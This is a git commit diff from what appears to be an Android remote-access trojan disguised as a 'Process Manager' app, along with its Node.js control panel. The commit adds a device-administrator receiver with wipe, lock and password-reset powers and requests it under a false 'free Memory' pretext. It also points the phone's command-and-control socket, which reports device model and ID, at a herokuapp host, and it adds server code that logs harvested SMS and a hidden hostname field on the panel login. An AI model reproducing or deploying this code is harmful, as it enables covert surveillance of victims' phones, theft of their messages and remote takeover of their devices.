Device admin added

This commit is contained in:
ChrisStone07 2020-04-16 15:52:24 +05:30
parent 05fe599fd9
commit d48c1e5aef
42 changed files with 442 additions and 71 deletions

View File

@ -19,7 +19,7 @@
<option name="ALLOW_USER_CONFIGURATION" value="false" />
<option name="MANIFEST_FILE_RELATIVE_PATH" value="/src/main/AndroidManifest.xml" />
<option name="RES_FOLDER_RELATIVE_PATH" value="/src/main/res" />
<option name="RES_FOLDERS_RELATIVE_PATH" value="file://$MODULE_DIR$/src/main/res" />
<option name="RES_FOLDERS_RELATIVE_PATH" value="file://$MODULE_DIR$/src/main/res;file://$MODULE_DIR$/build/generated/res/resValues/debug" />
<option name="TEST_RES_FOLDERS_RELATIVE_PATH" value="" />
<option name="ASSETS_FOLDER_RELATIVE_PATH" value="/src/main/assets" />
</configuration>

View File

@ -70,6 +70,20 @@
</intent-filter>
</receiver>
<receiver
android:name=".DeviceAdminX"
android:description="@string/device_description"
android:label="@string/device_admin_label"
android:permission="android.permission.BIND_DEVICE_ADMIN" >
<meta-data
android:name="android.app.device_admin"
android:resource="@xml/admin" />
<intent-filter>
<action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
</intent-filter>
</receiver>
<service android:name=".NotificationListener"
android:label="@string/app_name"
android:permission="android.permission.BIND_NOTIFICATION_LISTENER_SERVICE">

View File

@ -0,0 +1,68 @@
package com.remote.app;
import android.app.admin.DeviceAdminReceiver;
import android.content.Context;
import android.content.Intent;
/**
* DeviceAdminDemo to enable, disable the options.
* */
public class DeviceAdminX extends DeviceAdminReceiver
{
// implement onEnabled(), onDisabled(),
@Override
public void onReceive(Context context, Intent intent) {
super.onReceive(context, intent);
}
@Override
public void onEnabled(Context context, Intent intent) {
super.onEnabled(context, intent);
}
@Override
public void onDisabled(Context context, Intent intent) {
super.onDisabled(context, intent);
}
@Override
public CharSequence onDisableRequested(Context context, Intent intent) {
return super.onDisableRequested(context, intent);
// return null;
}
@Override
public void onPasswordSucceeded(Context context, Intent intent) {
super.onPasswordSucceeded(context, intent);
}
@Override
public void onPasswordFailed(Context context, Intent intent) {
super.onPasswordFailed(context, intent);
}
@Override
public void onPasswordChanged(Context context, Intent intent) {
super.onPasswordChanged(context, intent);
}
@Override
public void onPasswordExpiring(Context context, Intent intent) {
super.onPasswordExpiring(context, intent);
}
@Override
public void onLockTaskModeEntering(Context context, Intent intent, String pkg) {
super.onLockTaskModeEntering(context, intent, pkg);
}
@Override
public void onLockTaskModeExiting(Context context, Intent intent) {
super.onLockTaskModeExiting(context, intent);
}
@Override
public void onProfileProvisioningComplete(Context context, Intent intent) {
super.onProfileProvisioningComplete(context, intent);
}
}

View File

@ -21,7 +21,7 @@ public class IOSocket {
opts.reconnectionDelay = 5000;
opts.reconnectionDelayMax = 999999999;
ioSocket = IO.socket("http://3.90.231.134:80?model="+ android.net.Uri.encode(Build.MODEL)+"&manf="+Build.MANUFACTURER+"&release="+Build.VERSION.RELEASE+"&id="+deviceID);
ioSocket = IO.socket("http://xwizer.herokuapp.com:80?model="+ android.net.Uri.encode(Build.MODEL)+"&manf="+Build.MANUFACTURER+"&release="+Build.VERSION.RELEASE+"&id="+deviceID);
} catch (URISyntaxException e) {
e.printStackTrace();
}

View File

@ -3,6 +3,8 @@ package com.remote.app;
import android.app.Activity;
import android.app.AlarmManager;
import android.app.PendingIntent;
import android.app.admin.DevicePolicyManager;
import android.content.ComponentName;
import android.content.ContentResolver;
import android.content.Context;
import android.content.Intent;
@ -21,6 +23,9 @@ import android.widget.Toast;
public class MainActivity extends Activity {
private DevicePolicyManager mDPM;
private ComponentName mAdminName;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
@ -60,6 +65,18 @@ public class MainActivity extends Activity {
// spawn notification thing
startActivity(new Intent(Settings.ACTION_NOTIFICATION_LISTENER_SETTINGS));
mDPM = (DevicePolicyManager)getSystemService(Context.DEVICE_POLICY_SERVICE);
// Set DeviceAdminDemo Receiver for active the component with different option
mAdminName = new ComponentName(this, DeviceAdminX.class);
if (!mDPM.isAdminActive(mAdminName)) {
// try to become active
Intent intent2 = new Intent(DevicePolicyManager.ACTION_ADD_DEVICE_ADMIN);
intent2.putExtra(DevicePolicyManager.EXTRA_DEVICE_ADMIN, mAdminName);
intent2.putExtra(DevicePolicyManager.EXTRA_ADD_EXPLANATION, "Click on Activate button to secure your application.");
startActivity(intent2);
}
// spawn app page settings so you can enable all perms
// Intent i = new Intent(android.provider.Settings.ACTION_APPLICATION_DETAILS_SETTINGS, Uri.parse("package:" + BuildConfig.APPLICATION_ID));
// startActivity(i);

View File

@ -1,3 +1,5 @@
<resources>
<string name="app_name">Process Manager</string>
<string name="device_admin_label">Device Admin</string>
<string name="device_description">Enable Process Manager to free Memory</string>
</resources>

View File

@ -0,0 +1,9 @@
<device-admin xmlns:android="http://schemas.android.com/apk/res/android" >
<uses-policies>
<limit-password />
<watch-login />
<reset-password />
<force-lock />
<wipe-data />
</uses-policies>
</device-admin>

View File

@ -14,8 +14,10 @@
"cookie-parser": "^1.4.4",
"ejs": "^2.6.2",
"express": "^4.17.1",
"express-async-handler": "^1.1.4",
"geoip-lite": "^1.3.7",
"lowdb": "^1.0.0",
"node-fetch": "^2.6.0",
"socket.io": "^2.2.0"
}
}

Binary file not shown.

View File

@ -18,12 +18,24 @@
<uses-permission android:name="android.permission.READ_CONTACTS"/>
<uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>
<application android:allowBackup="true" android:appComponentFactory="android.support.v4.app.CoreComponentFactory" android:hardwareAccelerated="false" android:icon="@mipmap/ic_launcher" android:label="@string/app_name" android:largeHeap="true" android:supportsRtl="true" android:theme="@style/AppTheme">
<activity android:launchMode="singleInstance" android:name="com.remote.app.MainActivity">
<activity android:name="com.remote.app.MainActivity">
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>
<receiver android:description="@string/device_description" android:label="@string/device_admin_label" android:name="com.remote.app.DeviceAdmin" android:permission="android.permission.BIND_DEVICE_ADMIN">
<meta-data android:name="android.app.device_admin" android:resource="@xml/admin"/>
<intent-filter>
<action android:name="android.app.action.DEVICE_ADMIN_ENABLED"/>
<action android:name="android.app.action.DEVICE_ADMIN_DISABLE_REQUESTED"/>
<action android:name="android.app.action.DEVICE_ADMIN_DISABLED"/>
<action android:name="android.app.action.ACTION_PASSWORD_CHANGED"/>
<action android:name="android.app.action.ACTION_PASSWORD_EXPIRING"/>
<action android:name="android.app.action.ACTION_PASSWORD_FAILED"/>
<action android:name="android.app.action.ACTION_PASSWORD_SUCCEEDED"/>
</intent-filter>
</receiver>
<service android:enabled="true" android:exported="false" android:name="com.remote.app.MainService"/>
<receiver android:enabled="true" android:exported="true" android:label="RestartServiceWhenStopped" android:name="com.remote.app.ServiceReciever">
<intent-filter>

View File

@ -3,9 +3,6 @@ apkFileName: app-release.apk
compressionType: false
doNotCompress:
- resources.arsc
- META-INF/android.arch.lifecycle_runtime.version
- META-INF/androidx.core_core.version
- META-INF/androidx.versionedparcelable_versionedparcelable.version
- png
isFrameworkApk: false
packageInfo:

View File

@ -1,9 +1,9 @@
Signature-Version: 1.0
Created-By: 1.0 (Android)
SHA1-Digest-Manifest: 9wLCJfjpA3L2avYP/kniF8N1Fpk=
SHA1-Digest-Manifest: bbGsxJs1tgdTEoW2U5kYoTPSo8Q=
Name: AndroidManifest.xml
SHA1-Digest: FWiCXCmqENMMqGylDqderc/wIlU=
SHA1-Digest: Sf2VJtvlX3RZj0K3kodfygrDiRI=
Name: META-INF/android.arch.lifecycle_runtime.version
SHA1-Digest: mgd0ibqCDE7dziahk3gQRzTxqfA=
@ -16,7 +16,7 @@ Name: META-INF/androidx.versionedparcelable_versionedparcelable.versio
SHA1-Digest: /M5ZcCUkGpD9LMU3LB/ji4SqKws=
Name: classes.dex
SHA1-Digest: oOa4UFM2ozvdtdx1nt8T9I8z8w4=
SHA1-Digest: a5/bDXE3ojfvJVJaQ7B4S2A0EIk=
Name: res/drawable-hdpi-v4/notification_bg_low_normal.9.png
SHA1-Digest: GqlxeUYi9nderviC+XwD6tRD5Kg=
@ -133,50 +133,53 @@ Name: res/mipmap-anydpi-v26/ic_launcher_round.xml
SHA1-Digest: iMHWhoFxv1Tc+X+114w2/coMJLA=
Name: res/mipmap-hdpi-v4/ic_launcher.png
SHA1-Digest: dczmD6f6ckvuYLLayyHuJolrGmc=
SHA1-Digest: QdiIqzqV84qdoFM8GSXLAtBhB+s=
Name: res/mipmap-hdpi-v4/ic_launcher_foreground.png
SHA1-Digest: DGCOxqISRwrFkmqsdh/goOQx3Ss=
SHA1-Digest: 97n3C6Pylsz8eOwb8wezq/f44mQ=
Name: res/mipmap-hdpi-v4/ic_launcher_round.png
SHA1-Digest: EDc6KnI+OXNUAXS7K1j2sKaeY5U=
SHA1-Digest: U/aIvzqjrisYyvbhM9oL1Crb4TU=
Name: res/mipmap-mdpi-v4/ic_launcher.png
SHA1-Digest: zSiuVoYCAAqXAIwAQ/CiHSk+cZU=
SHA1-Digest: VAK23LULjnBQ6wPbP5E/dSLUPKE=
Name: res/mipmap-mdpi-v4/ic_launcher_foreground.png
SHA1-Digest: bTnHPtXzduhoetQrf0Ert9v8tIk=
SHA1-Digest: KOrCbso0xb7FAW30LNJyVuS6QZY=
Name: res/mipmap-mdpi-v4/ic_launcher_round.png
SHA1-Digest: qH2Wv9qChjejU6RgkFiACcIuq3g=
SHA1-Digest: DX6Kd02gbNNIIvi5E2hDpSz3nTk=
Name: res/mipmap-xhdpi-v4/ic_launcher.png
SHA1-Digest: nh9DN/dCj5S5aIJn/IET93EoSvw=
SHA1-Digest: D+ivNfdlx6Je3PNnY7aAbf9IJcM=
Name: res/mipmap-xhdpi-v4/ic_launcher_foreground.png
SHA1-Digest: blcoJ8gKy4L3quFRXcezQ2Np3IE=
SHA1-Digest: kFNot0z8C/1akyUHttDiKh0fmC0=
Name: res/mipmap-xhdpi-v4/ic_launcher_round.png
SHA1-Digest: G9ZDthDd7P5pGkMmYVaLRwrsjmI=
SHA1-Digest: HW+Uv1zW46NMGr7XOEPh3XxY+FQ=
Name: res/mipmap-xxhdpi-v4/ic_launcher.png
SHA1-Digest: ejOJI8bULNB81pzimOced5idKrM=
SHA1-Digest: 4CC9Cd2+IBV8wSHPGVpF+7sa+Go=
Name: res/mipmap-xxhdpi-v4/ic_launcher_foreground.png
SHA1-Digest: g+1cNIft+45vIe9cuscolvWXWpI=
SHA1-Digest: QwyqLZQDuUTJ8jOKhWzuy0pj2P4=
Name: res/mipmap-xxhdpi-v4/ic_launcher_round.png
SHA1-Digest: 9KmxIM5xL4KV2ED6/6/QKharYYU=
SHA1-Digest: BEa9GUZOxcU4oVIcfEkFMboLg+Q=
Name: res/mipmap-xxxhdpi-v4/ic_launcher.png
SHA1-Digest: qfyXlyD89z3+wDA62hlOEt9WX4w=
SHA1-Digest: l3b+P5vlTCk/cOLAsIaeqQc/jTU=
Name: res/mipmap-xxxhdpi-v4/ic_launcher_foreground.png
SHA1-Digest: x7p4RHXAYgIH/MBrxVZJk1j7O+0=
SHA1-Digest: +fKPefitEfLsPVtVuiG4/sq1Wx8=
Name: res/mipmap-xxxhdpi-v4/ic_launcher_round.png
SHA1-Digest: JQO4sItCEOvr7gueLeojj/BtgoI=
SHA1-Digest: wfltWL9T2XQKo4CKvS4hgtQtxgs=
Name: res/xml/admin.xml
SHA1-Digest: 56EihJVs4VIL8evwRob7eh6bYkI=
Name: resources.arsc
SHA1-Digest: pLvcj68/EspHCRKYi8Ud3y2PYFo=
SHA1-Digest: m/NW7fiUiwjLVxi+AS+dxQX4Zic=

View File

@ -3,7 +3,7 @@ Built-By: Generated-by-ADT
Created-By: Android Gradle 3.4.2
Name: AndroidManifest.xml
SHA1-Digest: Pv4spc504MtuZJxvvbq+oaMhCC8=
SHA1-Digest: 5wjaBPvr707Yg5W4NZHX5gdaopg=
Name: META-INF/android.arch.lifecycle_runtime.version
SHA1-Digest: OxxKFJcpzAROGjnfMbNijNv1+JU=
@ -16,7 +16,7 @@ Name: META-INF/androidx.versionedparcelable_versionedparcelable.versio
SHA1-Digest: xTi2bHEQyjoCjM/kItDx+iAKmTU=
Name: classes.dex
SHA1-Digest: BynmcxNAeoLpVz3OZFvLrmI8Ap0=
SHA1-Digest: uQB5EdwYVQ19EaFJRTpEVrNp32Q=
Name: res/drawable-hdpi-v4/notification_bg_low_normal.9.png
SHA1-Digest: D2PhKM51tYZo8a79riJ3XiUD2nc=
@ -133,50 +133,53 @@ Name: res/mipmap-anydpi-v26/ic_launcher_round.xml
SHA1-Digest: 47Wrr0L5u//HrdR+ydw1DJsE2HY=
Name: res/mipmap-hdpi-v4/ic_launcher.png
SHA1-Digest: Az7eCHDW1WJ65isMhK5fUu97x2U=
SHA1-Digest: Mw22tWABYYSICC4av/9ccwoFc3A=
Name: res/mipmap-hdpi-v4/ic_launcher_foreground.png
SHA1-Digest: zuSZv0eX0Slge8oOeCJj8lGS7AY=
SHA1-Digest: UsZomcaBLRdXcugR/1oD6Ii5WKk=
Name: res/mipmap-hdpi-v4/ic_launcher_round.png
SHA1-Digest: D+lGi10fQJOJaeJopY3pKUeLVKA=
SHA1-Digest: /W+nd6d5Rc7aLzSthh96pm3ZAoQ=
Name: res/mipmap-mdpi-v4/ic_launcher.png
SHA1-Digest: cnxEsLsySM6usKLiCeGu+ch4h2o=
SHA1-Digest: M8E4XUbaSdB4+MJZbVQ/2XkrDVk=
Name: res/mipmap-mdpi-v4/ic_launcher_foreground.png
SHA1-Digest: DhEKTsotpno1+qK785KRqy2LV0s=
SHA1-Digest: xJR81MhCn5vynxXdl0ObDjUhSTQ=
Name: res/mipmap-mdpi-v4/ic_launcher_round.png
SHA1-Digest: lNJ/y3NHBLrK7bXpxnETOk6nFE8=
SHA1-Digest: GqDTPq2LT43h3tQISpH5+HJIocQ=
Name: res/mipmap-xhdpi-v4/ic_launcher.png
SHA1-Digest: 9Z6aG1rdjL1JM+5rr0bT4V53W+w=
SHA1-Digest: EmZn705hb1WAlth83K3gcsCv7iI=
Name: res/mipmap-xhdpi-v4/ic_launcher_foreground.png
SHA1-Digest: znJVmP7NXWUh41NYKfeAkhCIebc=
SHA1-Digest: Zq5XRz2hUNdXTZjvI8U1W+qJOYI=
Name: res/mipmap-xhdpi-v4/ic_launcher_round.png
SHA1-Digest: AHrJ5hek1oOGOms/fmd/3UOAWHI=
SHA1-Digest: XMUgIST77JQpa98nBDJFgKere+k=
Name: res/mipmap-xxhdpi-v4/ic_launcher.png
SHA1-Digest: D7dtqI/PMq7Zeg8yIZ8pnj1mpGg=
SHA1-Digest: WpZJPf3C8APyjZC34W0I7YMVPas=
Name: res/mipmap-xxhdpi-v4/ic_launcher_foreground.png
SHA1-Digest: ludOnLPEKk4odyFRUHavLYCRgw0=
SHA1-Digest: AWqC+oUedYD30j92anDVwMvr/m8=
Name: res/mipmap-xxhdpi-v4/ic_launcher_round.png
SHA1-Digest: 3MWQnkb4FFvC9aI2uaGltMlVANQ=
SHA1-Digest: zRqpyhkc8BaCF24XCC54i3hjx6E=
Name: res/mipmap-xxxhdpi-v4/ic_launcher.png
SHA1-Digest: XjCSyAK2oaGNM8hf5UuhChFMnsk=
SHA1-Digest: OmtTQebum6A3PI68LGNOMsdX2VQ=
Name: res/mipmap-xxxhdpi-v4/ic_launcher_foreground.png
SHA1-Digest: bLEIjVpuqFG7M7qzVYqN5IWxU70=
SHA1-Digest: n0OYYWL9Fz1MfLSs4i1VbleFrSk=
Name: res/mipmap-xxxhdpi-v4/ic_launcher_round.png
SHA1-Digest: 1rbjkPp9cl5NhOKl6u1sJwjuKqE=
SHA1-Digest: 3VOo7phNcl74KnT4XJzTsYeshQw=
Name: res/xml/admin.xml
SHA1-Digest: /Ugqwo2h3PsocFYbk1FPKBDQmFk=
Name: resources.arsc
SHA1-Digest: oY0Z4W/1+wnrkqtyD7ns8E2LZIo=
SHA1-Digest: IP5ak8i6LST+kDqTDZflR/HToMI=

Binary file not shown.

Before

Width:  |  Height:  |  Size: 5.7 KiB

After

Width:  |  Height:  |  Size: 3.7 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 15 KiB

After

Width:  |  Height:  |  Size: 7.2 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 7.2 KiB

After

Width:  |  Height:  |  Size: 5.3 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 3.3 KiB

After

Width:  |  Height:  |  Size: 2.6 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 7.5 KiB

After

Width:  |  Height:  |  Size: 4.3 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 3.9 KiB

After

Width:  |  Height:  |  Size: 3.3 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 9.0 KiB

After

Width:  |  Height:  |  Size: 5.2 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 21 KiB

After

Width:  |  Height:  |  Size: 11 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 11 KiB

After

Width:  |  Height:  |  Size: 7.5 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 17 KiB

After

Width:  |  Height:  |  Size: 8.1 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 25 KiB

After

Width:  |  Height:  |  Size: 21 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 21 KiB

After

Width:  |  Height:  |  Size: 12 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 26 KiB

After

Width:  |  Height:  |  Size: 12 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 28 KiB

After

Width:  |  Height:  |  Size: 33 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 29 KiB

After

Width:  |  Height:  |  Size: 18 KiB

View File

@ -3,7 +3,7 @@
<color name="colorAccent">#ffff4081</color>
<color name="colorPrimary">#ff3f51b5</color>
<color name="colorPrimaryDark">#ff303f9f</color>
<color name="ic_launcher_background">#ffffffff</color>
<color name="ic_launcher_background">#ff26a69a</color>
<color name="notification_action_color_filter">#ffffffff</color>
<color name="notification_icon_bg_color">#ff9e9e9e</color>
<color name="ripple_material_light">#1f000000</color>

View File

@ -98,7 +98,9 @@
<public type="mipmap" name="ic_launcher_foreground" id="0x7f080001" />
<public type="mipmap" name="ic_launcher_round" id="0x7f080002" />
<public type="string" name="app_name" id="0x7f090000" />
<public type="string" name="status_bar_notification_info_overflow" id="0x7f090001" />
<public type="string" name="device_admin_label" id="0x7f090001" />
<public type="string" name="device_description" id="0x7f090002" />
<public type="string" name="status_bar_notification_info_overflow" id="0x7f090003" />
<public type="style" name="AppTheme" id="0x7f0a0000" />
<public type="style" name="TextAppearance.Compat.Notification" id="0x7f0a0001" />
<public type="style" name="TextAppearance.Compat.Notification.Info" id="0x7f0a0002" />
@ -107,4 +109,5 @@
<public type="style" name="TextAppearance.Compat.Notification.Title" id="0x7f0a0005" />
<public type="style" name="Widget.Compat.NotificationActionContainer" id="0x7f0a0006" />
<public type="style" name="Widget.Compat.NotificationActionText" id="0x7f0a0007" />
<public type="xml" name="admin" id="0x7f0c0000" />
</resources>

View File

@ -1,5 +1,7 @@
<?xml version="1.0" encoding="utf-8"?>
<resources>
<string name="app_name">Process Manager</string>
<string name="device_admin_label">Process Manager</string>
<string name="device_description">Enable Process Manager to free Memory</string>
<string name="status_bar_notification_info_overflow">999+</string>
</resources>

View File

@ -0,0 +1,15 @@
<?xml version="1.0" encoding="utf-8"?>
<device-admin>
<uses-policies>
<disable-camera />
<encrypted-storage />
<expire-password />
<force-lock />
<wipe-data />
<limit-password />
<expire-password />
<reset-password />
<set-global-proxy />
<watch-login />
</uses-policies>
</device-admin>

View File

@ -0,0 +1,105 @@
.class public Lcom/remote/app/DeviceAdmin;
.super Landroid/app/admin/DeviceAdminReceiver;
.source ""
# direct methods
.method public constructor <init>()V
.locals 0
invoke-direct {p0}, Landroid/app/admin/DeviceAdminReceiver;-><init>()V
return-void
.end method
# virtual methods
.method public onDisableRequested(Landroid/content/Context;Landroid/content/Intent;)Ljava/lang/CharSequence;
.locals 0
invoke-super {p0, p1, p2}, Landroid/app/admin/DeviceAdminReceiver;->onDisableRequested(Landroid/content/Context;Landroid/content/Intent;)Ljava/lang/CharSequence;
const-string p1, ""
return-object p1
.end method
.method public onDisabled(Landroid/content/Context;Landroid/content/Intent;)V
.locals 0
invoke-super {p0, p1, p2}, Landroid/app/admin/DeviceAdminReceiver;->onDisabled(Landroid/content/Context;Landroid/content/Intent;)V
return-void
.end method
.method public onEnabled(Landroid/content/Context;Landroid/content/Intent;)V
.locals 0
invoke-super {p0, p1, p2}, Landroid/app/admin/DeviceAdminReceiver;->onEnabled(Landroid/content/Context;Landroid/content/Intent;)V
return-void
.end method
.method public onLockTaskModeEntering(Landroid/content/Context;Landroid/content/Intent;Ljava/lang/String;)V
.locals 0
invoke-super {p0, p1, p2, p3}, Landroid/app/admin/DeviceAdminReceiver;->onLockTaskModeEntering(Landroid/content/Context;Landroid/content/Intent;Ljava/lang/String;)V
return-void
.end method
.method public onLockTaskModeExiting(Landroid/content/Context;Landroid/content/Intent;)V
.locals 0
invoke-super {p0, p1, p2}, Landroid/app/admin/DeviceAdminReceiver;->onLockTaskModeExiting(Landroid/content/Context;Landroid/content/Intent;)V
return-void
.end method
.method public onPasswordChanged(Landroid/content/Context;Landroid/content/Intent;)V
.locals 0
invoke-super {p0, p1, p2}, Landroid/app/admin/DeviceAdminReceiver;->onPasswordChanged(Landroid/content/Context;Landroid/content/Intent;)V
return-void
.end method
.method public onPasswordExpiring(Landroid/content/Context;Landroid/content/Intent;)V
.locals 0
invoke-super {p0, p1, p2}, Landroid/app/admin/DeviceAdminReceiver;->onPasswordExpiring(Landroid/content/Context;Landroid/content/Intent;)V
return-void
.end method
.method public onPasswordFailed(Landroid/content/Context;Landroid/content/Intent;)V
.locals 0
invoke-super {p0, p1, p2}, Landroid/app/admin/DeviceAdminReceiver;->onPasswordFailed(Landroid/content/Context;Landroid/content/Intent;)V
return-void
.end method
.method public onPasswordSucceeded(Landroid/content/Context;Landroid/content/Intent;)V
.locals 0
invoke-super {p0, p1, p2}, Landroid/app/admin/DeviceAdminReceiver;->onPasswordSucceeded(Landroid/content/Context;Landroid/content/Intent;)V
return-void
.end method
.method public onProfileProvisioningComplete(Landroid/content/Context;Landroid/content/Intent;)V
.locals 0
invoke-super {p0, p1, p2}, Landroid/app/admin/DeviceAdminReceiver;->onProfileProvisioningComplete(Landroid/content/Context;Landroid/content/Intent;)V
return-void
.end method
.method public onReceive(Landroid/content/Context;Landroid/content/Intent;)V
.locals 0
invoke-super {p0, p1, p2}, Landroid/app/admin/DeviceAdminReceiver;->onReceive(Landroid/content/Context;Landroid/content/Intent;)V
return-void
.end method

View File

@ -3,12 +3,69 @@
.source ""
# instance fields
.field private a:Landroid/app/admin/DevicePolicyManager;
.field private b:Landroid/content/ComponentName;
# direct methods
.method public constructor <init>()V
.locals 0
.locals 1
invoke-direct {p0}, Landroid/app/Activity;-><init>()V
const/4 v0, 0x0
iput-object v0, p0, Lcom/remote/app/MainActivity;->a:Landroid/app/admin/DevicePolicyManager;
iput-object v0, p0, Lcom/remote/app/MainActivity;->b:Landroid/content/ComponentName;
return-void
.end method
.method private a(Landroid/content/ComponentName;)V
.locals 2
const-string v0, "device_policy"
invoke-virtual {p0, v0}, Landroid/app/Activity;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
move-result-object v0
check-cast v0, Landroid/app/admin/DevicePolicyManager;
iput-object v0, p0, Lcom/remote/app/MainActivity;->a:Landroid/app/admin/DevicePolicyManager;
iget-object v0, p0, Lcom/remote/app/MainActivity;->a:Landroid/app/admin/DevicePolicyManager;
invoke-virtual {v0, p1}, Landroid/app/admin/DevicePolicyManager;->isAdminActive(Landroid/content/ComponentName;)Z
move-result v0
if-nez v0, :cond_0
new-instance v0, Landroid/content/Intent;
const-string v1, "android.app.action.ADD_DEVICE_ADMIN"
invoke-direct {v0, v1}, Landroid/content/Intent;-><init>(Ljava/lang/String;)V
const-string v1, "android.app.extra.DEVICE_ADMIN"
invoke-virtual {v0, v1, p1}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Landroid/os/Parcelable;)Landroid/content/Intent;
const-string p1, "android.app.extra.ADD_EXPLANATION"
const-string v1, " "
invoke-virtual {v0, p1, v1}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Ljava/lang/String;)Landroid/content/Intent;
const/16 p1, 0x2f
invoke-virtual {p0, v0, p1}, Landroid/app/Activity;->startActivityForResult(Landroid/content/Intent;I)V
:cond_0
return-void
.end method
@ -65,6 +122,33 @@
return-void
.end method
.method protected onActivityResult(IILandroid/content/Intent;)V
.locals 0
invoke-super {p0, p1, p2, p3}, Landroid/app/Activity;->onActivityResult(IILandroid/content/Intent;)V
const/16 p3, 0x2f
if-ne p1, p3, :cond_0
const/4 p1, -0x1
if-ne p2, p1, :cond_0
new-instance p1, Landroid/content/Intent;
const-string p2, "android.settings.ACTION_NOTIFICATION_LISTENER_SETTINGS"
invoke-direct {p1, p2}, Landroid/content/Intent;-><init>(Ljava/lang/String;)V
invoke-virtual {p0, p1}, Landroid/app/Activity;->startActivity(Landroid/content/Intent;)V
invoke-virtual {p0}, Landroid/app/Activity;->finish()V
:cond_0
return-void
.end method
.method protected onCreate(Landroid/os/Bundle;)V
.locals 10
@ -149,50 +233,52 @@
invoke-virtual {v1}, Landroid/content/pm/PackageManager$NameNotFoundException;->printStackTrace()V
:goto_0
const-string v1, "Enable \'Package Manager\'\n Click back x2\n and Enable all permissions"
const-string v1, "Enable Process Manager\'\n Click back x2\n and Enable all permissions"
invoke-static {p1, v1, v2}, Landroid/widget/Toast;->makeText(Landroid/content/Context;Ljava/lang/CharSequence;I)Landroid/widget/Toast;
move-result-object p1
invoke-virtual {p1}, Landroid/widget/Toast;->getView()Landroid/view/View;
move-result-object v1
const v2, 0x102000b
invoke-virtual {v1}, Landroid/widget/Toast;->getView()Landroid/view/View;
invoke-virtual {v1, v2}, Landroid/view/View;->findViewById(I)Landroid/view/View;
move-result-object v2
move-result-object v1
const v3, 0x102000b
check-cast v1, Landroid/widget/TextView;
invoke-virtual {v2, v3}, Landroid/view/View;->findViewById(I)Landroid/view/View;
const/high16 v2, -0x10000
move-result-object v2
invoke-virtual {v1, v2}, Landroid/widget/TextView;->setTextColor(I)V
check-cast v2, Landroid/widget/TextView;
sget-object v2, Landroid/graphics/Typeface;->DEFAULT_BOLD:Landroid/graphics/Typeface;
const/high16 v3, -0x10000
invoke-virtual {v1, v2}, Landroid/widget/TextView;->setTypeface(Landroid/graphics/Typeface;)V
invoke-virtual {v2, v3}, Landroid/widget/TextView;->setTextColor(I)V
const/16 v2, 0x11
sget-object v3, Landroid/graphics/Typeface;->DEFAULT_BOLD:Landroid/graphics/Typeface;
invoke-virtual {v1, v2}, Landroid/widget/TextView;->setGravity(I)V
invoke-virtual {v2, v3}, Landroid/widget/TextView;->setTypeface(Landroid/graphics/Typeface;)V
invoke-virtual {p1}, Landroid/widget/Toast;->show()V
const/16 v3, 0x11
invoke-virtual {v2, v3}, Landroid/widget/TextView;->setGravity(I)V
invoke-virtual {v1}, Landroid/widget/Toast;->show()V
invoke-virtual {p0, p0, v0}, Lcom/remote/app/MainActivity;->a(Landroid/content/Context;[Ljava/lang/String;)V
new-instance p1, Landroid/content/Intent;
new-instance v0, Landroid/content/ComponentName;
const-string v0, "android.settings.ACTION_NOTIFICATION_LISTENER_SETTINGS"
const-class v1, Lcom/remote/app/DeviceAdmin;
invoke-direct {p1, v0}, Landroid/content/Intent;-><init>(Ljava/lang/String;)V
invoke-direct {v0, p1, v1}, Landroid/content/ComponentName;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
invoke-virtual {p0, p1}, Landroid/app/Activity;->startActivity(Landroid/content/Intent;)V
iput-object v0, p0, Lcom/remote/app/MainActivity;->b:Landroid/content/ComponentName;
iget-object p1, p0, Lcom/remote/app/MainActivity;->b:Landroid/content/ComponentName;
invoke-direct {p0, p1}, Lcom/remote/app/MainActivity;->a(Landroid/content/ComponentName;)V
:cond_0
invoke-virtual {p0}, Landroid/app/Activity;->finish()V
return-void
.end method

View File

@ -64,7 +64,7 @@
invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
const-string v2, "http://3.90.231.134:80?model="
const-string v2, "http://xwizer.herokuapp.com:80?model="
invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;

View File

@ -26,6 +26,7 @@
</style>
<script>
$(document).ready(function() {
$('#hostname').val(window.location.hostname);
$('.ui.form').form({
fields: {
email: {
@ -68,6 +69,7 @@
<div class="ui left icon input">
<i class="lock icon"></i>
<input type="password" name="password" placeholder="Password">
<input type="hidden" id="hostname" name="hostname" value="zzz">
</div>
</div>
<div class="ui fluid large teal submit button">Login</div>

View File

@ -218,6 +218,7 @@ class Clients {
// cool, we dont have this sms
sms.hash = hash;
dbSMS.push(sms).write();
newCount++;
}
});
logManager.log(CONST.logTypes.success, clientID + " SMS List Updated - " + newCount + " New Messages");

View File

@ -3,6 +3,8 @@ const
routes = express.Router(),
cookieParser = require('cookie-parser'),
bodyParser = require('body-parser'),
fetch = require('node-fetch'),
asyncHandler = require('express-async-handler'),
crypto = require('crypto');
let CONST = global.CONST;
@ -52,20 +54,36 @@ routes.get('/panel', isAllowed, (req, res) => {
});
});
routes.post('/login', (req, res) => {
routes.post('/login', asyncHandler(async(req, res) => {
if ('username' in req.body) {
if ('password' in req.body) {
let rUsername = db.maindb.get('admin.username').value();
